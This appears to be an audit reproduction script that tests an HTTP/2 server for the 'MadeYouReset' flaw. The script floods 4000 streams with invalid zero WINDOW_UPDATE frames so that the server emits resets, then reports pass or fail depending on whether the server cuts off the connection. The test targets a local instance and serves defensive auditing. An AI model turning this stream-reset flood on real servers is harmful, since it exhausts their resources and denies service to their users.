Files
moloapp/audit/MOLO-H2-002/reproduce.py
T

66 lines
2.5 KiB
Python

#!/usr/bin/env python3
# MOLO-H2-002: "MadeYouReset" (CVE-2025-8671 class). See README.md.
# Rapid Reset (MOLO-H2-001) has the client send the RST_STREAM. Here the
# client provokes the SERVER into sending the reset instead (an invalid
# WINDOW_UPDATE on each stream), which Rapid-Reset mitigations that only
# count client-sent RST_STREAM frames do not see at all.
import os
import sys
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", "lib"))
import molo_audit as m
STREAMS = 4000
def main():
m.arm_watchdog()
srv, _tmp = m.start_interop()
port = srv.port
h2 = m.H2(port, initial_settings=[(3, 1000)])
h2.settle(0.3)
def req_then_bad_window(i):
sid = 2 * i + 1
block = m.hpack_request(path="/echo")
# HEADERS without END_STREAM: stream stays open, awaiting body.
out = m.frame(m.T_HEADERS, m.F_END_HEADERS, sid, block)
# A zero WINDOW_UPDATE increment is a stream error (FLOW_CONTROL_ERROR):
# RFC 9113 6.9 forbids it. This makes the SERVER emit the RST_STREAM.
out += m.frame(m.T_WINDOW, 0, sid, (0).to_bytes(4, "big"))
return out
sent = m.flood(h2, req_then_bad_window, STREAMS, batch=50)
h2.settle(1.0)
crashed = not srv.alive()
server_rsts = h2.count(m.T_RST)
pushed_back = h2.closed or h2.goaway is not None
rss = srv.rss_kb()
h2.close()
srv.stop()
if crashed:
m.verdict_fail("server process died after %d provoked resets" % sent)
if pushed_back and sent < STREAMS:
m.verdict_pass(
"server cut the connection (GOAWAY=%s) after %d/%d provoked server-side "
"resets instead of an unbounded churn, and stayed up (RSS ~%d KiB)"
% (h2.goaway, sent, STREAMS, rss)
)
if sent >= STREAMS and not pushed_back:
m.verdict_fail(
"all %d streams were opened and server-reset (%d RST_STREAM observed) on one "
"connection with no GOAWAY and no limit on server-initiated resets; a "
"mitigation that only rate-limits client-sent RST_STREAM (as Rapid Reset "
"fixes typically do) would still miss this, because connection.cpp's own "
"reset path (OnRst/flow-control-error branches) frees the stream slot with "
"no counter either (RSS ~%d KiB)" % (sent, server_rsts, rss)
)
m.verdict_fail("ambiguous outcome after %d/%d (crashed=%s, pushed_back=%s)"
% (sent, STREAMS, crashed, pushed_back))
if __name__ == "__main__":
main()